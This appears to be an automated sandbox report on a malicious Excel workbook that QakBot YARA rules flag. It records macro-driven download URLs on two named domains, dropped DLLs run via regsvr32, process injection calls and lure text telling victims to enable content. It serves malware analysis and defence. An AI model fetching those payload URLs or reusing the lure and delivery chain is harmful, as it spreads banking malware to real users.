Source:	Binary string: oleaut32.pdb\| source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000000F.00000003.716292885.0000000003244000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942187790.0000000000846000.00000004.00000001.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbe source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1000BB22 FindFirstFileW,FindNextFileW,

3_2_1000BB22

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\gihi1.dll			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\gihi2.dll			Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: ka[1].htm.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\regsvr32.exe

Source: global traffic

DNS query: name: carpascapital.com

Source: global traffic

TCP traffic: 192.168.2.4:49739 -> 50.116.92.246:443

Source: global traffic

TCP traffic: 192.168.2.4:49739 -> 50.116.92.246:443

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS traffic detected: queries for: carpascapital.com

Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.cortana.ai
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.office.net
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.onedrive.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://augloop.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: intlsheet1.bin	String found in binary or memory: https://carpascapital.com/gBPg8MtsGbv/ka.html
Source: intlsheet1.bin	String found in binary or memory: https://carpascapital.com/gBPg8MtsGbv/ka.html%
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cdn.entity.
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cortana.ai
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cortana.ai/api
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://cr.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://directory.services.
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://graph.windows.net
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://graph.windows.net/
Source: intlsheet1.bin	String found in binary or memory: https://gruasphenbogota.com/C74hwGGxi/ka.html
Source: intlsheet1.bin	String found in binary or memory: https://gruasphenbogota.com/C74hwGGxi/ka.html%
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://login.windows.local
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://management.azure.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://management.azure.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://messaging.office.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://officeapps.live.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://onedrive.live.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://outlook.office.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://settings.outlook.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://tasks.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 50.116.92.246:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.116.92.246:443 -> 192.168.2.4:49742 version: TLS 1.2

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, type: MEMORY	Matched rule: QakBot Payload Author: kevoreilly
Source: 00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: QakBot Payload Author: kevoreilly
Source: 00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp, type: MEMORY	Matched rule: QakBot Payload Author: kevoreilly
Source: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, type: MEMORY	Matched rule: QakBot Payload Author: kevoreilly
Source: 13.2.explorer.exe.660000.0.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 3.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 6.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 4.2.explorer.exe.1100000.0.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 4.2.explorer.exe.1100000.0.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 3.2.regsvr32.exe.1120000.2.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 6.2.regsvr32.exe.f30000.2.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 6.2.regsvr32.exe.f30000.2.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 3.2.regsvr32.exe.1120000.2.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly
Source: 13.2.explorer.exe.660000.0.unpack, type: UNPACKEDPE	Matched rule: QakBot Payload Author: kevoreilly

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the Internet. Protected View This fi
Source: Screenshot number: 4	Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start the decryption of the document

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: plan-1053707320.xlsb

Initial sample: CALL

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: plan-1053707320.xlsb

Initial sample: Sheet size: 22026

Office process drops PE file

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\gihi1.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\gihi2.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\ka[1].htm	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_1000DDC7 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,memcpy,GetCurrentProcess,NtUnmapViewOfSection,NtClose,		3_2_1000DDC7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_1000E23A memset,GetThreadContext,NtProtectVirtualMemory,NtWriteVirtualMemory,FreeLibrary,DeleteFileW,		3_2_1000E23A

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DBG

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87	3_2_010D2A87
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D4F80	3_2_010D4F80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D26A7	3_2_010D26A7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D330B	3_2_010D330B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D1000	3_2_010D1000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D3820	3_2_010D3820
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D9939	3_2_010D9939
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DAA35	3_2_010DAA35
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DA637	3_2_010DA637
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D6131	3_2_010D6131
